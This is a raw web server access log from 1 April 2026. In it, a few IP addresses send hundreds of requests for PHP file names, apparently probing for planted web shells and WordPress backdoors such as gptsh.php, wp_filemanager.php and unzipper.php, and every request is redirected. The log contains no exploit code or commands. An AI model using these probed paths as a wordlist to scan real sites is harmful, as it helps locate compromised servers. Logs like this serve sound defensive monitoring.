"-" 20.220.232.240 - - [01/Apr/2026:05:57:38 +0300] "GET /yawa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:58:32 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:59:41 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:05:59:54 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:02:07 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:04:49 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:05:54 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:07:50 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [01/Apr/2026:06:09:54 +0300] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:39:59 +0300] "GET /xsas.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:40:10 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:53 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:28 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:31 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:34 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:38 +0300] "GET /bo.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:45:43 +0300] "GET /a5e0a.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:46:09 +0300] "GET /55b76.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:47:05 +0300] "GET /byypas.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:47:49 +0300] "GET /ws87.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:48:51 +0300] "GET /clss.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:35 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:50:09 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:50:42 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:51:00 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:52:15 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:52:24 +0300] "GET /ws49.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:09 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.116.48.67 - - [01/Apr/2026:08:04:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 119.246.11.150 - - [01/Apr/2026:09:29:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 20.91.240.203 - - [01/Apr/2026:07:39:18 +0300] "GET /callback.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:13 +0300] "GET /2ksm17n.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:59 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:02 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:13 +0300] "GET /ws83.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:43 +0300] "GET /5b9ac.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:46 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:49 +0300] "GET //nw.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:45:36 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:45:55 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:46:23 +0300] "GET /asd.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:48:07 +0300] "GET /green.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:48:46 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:29 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:50:19 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:51:26 +0300] "GET /Cap.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:52:29 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 119.246.11.150 - - [01/Apr/2026:08:18:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 143.244.150.83 - - [01/Apr/2026:08:47:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 107.189.23.75 - - [01/Apr/2026:06:54:19 +0300] "GET /wp-content/themes/unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 51.120.81.94 - - [01/Apr/2026:07:04:30 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 38.145.208.187 - - [01/Apr/2026:07:20:28 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.242.3.19 - - [01/Apr/2026:07:35:45 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.91.240.203 - - [01/Apr/2026:07:38:54 +0300] "GET /gpt-sh.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:39:42 +0300] "GET /d12.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:34 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:54 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:57 +0300] "GET /tx78.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:59 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:02 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:24 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:27 +0300] "GET /ws81.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:30 +0300] "GET /public/ws49.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:33 +0300] "GET /gfd.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:36 +0300] "GET /abrand.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:39 +0300] "GET /amp.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:43 +0300] "GET /ws75.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:44 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:47 +0300] "GET /maul.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:48 +0300] "GET /lowpr.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:51 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:54 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:56 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:58 +0300] "GET /ws85.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:44:00 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:44:03 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:44:06 +0300] "GET //tfm.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:04 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:08 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:11 +0300] "GET /wtiiy.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:22 +0300] "GET /ajax.php HTTP/1.1" 301 795 "-" "-" 119.246.11.150 - - [01/Apr/2026:08:17:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:08:18:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:08:23:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:09:03:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 43.155.140.157 - - [01/Apr/2026:06:53:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.91.240.203 - - [01/Apr/2026:07:38:23 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:39:00 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:44:59 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:48:26 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:48:57 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:41 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:38:45 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:39:11 +0300] "GET /wxfyf.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:40:42 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:11 +0300] "GET /torsa1.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:14 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:17 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:43:19 +0300] "GET /6kDPjgFTmvS.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:45:12 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:47:15 +0300] "GET /drhunthq.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:47:28 +0300] "GET /public/file.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:47:32 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:50:50 +0300] "GET /zc-104.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:52:34 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:26 +0300] "GET /aa21.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:29 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:42 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:45 +0300] "GET /public/wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:48 +0300] "GET /ws88.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:51 +0300] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:54 +0300] "GET /varb.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:55 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:57 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:59 +0300] "GET /wp-png.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:54:01 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:54:03 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:54:07 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 38.60.196.214 - - [01/Apr/2026:07:03:35 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.130.141.193 - - [01/Apr/2026:07:36:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.91.240.203 - - [01/Apr/2026:07:38:37 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:39:54 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:40:22 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:40:31 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:06 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:22 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:26 +0300] "GET /hots.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:44 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:46 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:44:22 +0300] "GET /ne2026.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:44:29 +0300] "GET /ws73.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:48:20 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:50:01 +0300] "GET /buc.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:15 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:20 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:53:35 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:39:47 +0300] "GET /144.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:19 +0300] "GET /56c53.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:44:41 +0300] "GET /ws84.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:44:47 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:45:24 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:45:48 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:46:38 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:47:41 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:48:40 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:49 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:52 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:49:55 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:51:15 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:52:55 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:52:56 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 125.75.66.97 - - [01/Apr/2026:08:28:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.91.240.203 - - [01/Apr/2026:07:39:28 +0300] "GET /h2.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:40:51 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:41:01 +0300] "GET /sale.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:42:07 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:46:53 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:47:59 +0300] "GET /lm15.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:48:34 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:50:30 +0300] "GET /okxh.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:51:08 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:51:34 +0300] "GET /xfun.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:51:48 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:51:58 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:52:09 +0300] "GET /rzki.php HTTP/1.1" 301 795 "-" "-" 20.91.240.203 - - [01/Apr/2026:07:52:40 +0300] "GET /vanda.php HTTP/1.1" 301 795 "-" "-" 107.189.23.75 - - [01/Apr/2026:08:43:10 +0300] "GET /unzip.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 119.246.11.150 - - [01/Apr/2026:08:56:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:09:39:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:09:59:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 43.135.115.233 - - [01/Apr/2026:11:55:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 119.246.11.150 - - [01/Apr/2026:10:07:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:10:36:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:10:36:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 43.135.142.37 - - [01/Apr/2026:12:36:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 119.246.11.150 - - [01/Apr/2026:10:21:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 199.244.88.224 - - [01/Apr/2026:11:54:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 119.246.11.150 - - [01/Apr/2026:10:08:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:10:13:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:10:00:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 119.246.11.150 - - [01/Apr/2026:10:07:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 182.42.111.156 - - [01/Apr/2026:14:45:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.53.190.0 - - [01/Apr/2026:12:40:33 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 40.69.27.251 - - [01/Apr/2026:13:37:54 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.55.78.148 - - [01/Apr/2026:15:03:05 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 94.26.106.114 - - [01/Apr/2026:15:58:19 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 43.157.43.147 - - [01/Apr/2026:16:30:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.215.250.169 - - [01/Apr/2026:18:19:26 +0300] "GET /jlex.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:20:48 +0300] "GET /zoper1.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:21:32 +0300] "GET /t2gorhwasq4vioshtatw5eCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:21:43 +0300] "GET /new3.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:24:48 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:25:17 +0300] "GET /luyuc.php HTTP/1.1" 301 795 "-" "-" 20.17.96.176 - - [01/Apr/2026:17:42:33 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.215.250.169 - - [01/Apr/2026:18:18:33 +0300] "GET /gvg1bvpsgtot1rpklCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:18:52 +0300] "GET /a9.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:19:16 +0300] "GET /aligk.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:19:59 +0300] "GET /only.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:22:00 +0300] "GET /rogsa.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:22:24 +0300] "GET /nhj6t74aqmkde3hgpCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:24:03 +0300] "GET /exhds0ucw0ju9vjgasxqCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:17:55 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:18:19 +0300] "GET /dichku.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:19:08 +0300] "GET /qiumnpor3orjwr6me3zmgqCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:19:41 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:20:23 +0300] "GET /hfles.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:21:07 +0300] "GET /irpl4xz4fmlzm4tlvvu4h1mCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:21:11 +0300] "GET /wmore1.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:21:50 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:24:22 +0300] "GET /a8.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:24:53 +0300] "GET /index-20260330022921.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:18:01 +0300] "GET /8daf1238_1774208172.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:20:28 +0300] "GET /6xBAm3vODE05BSzkJZRAws.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - 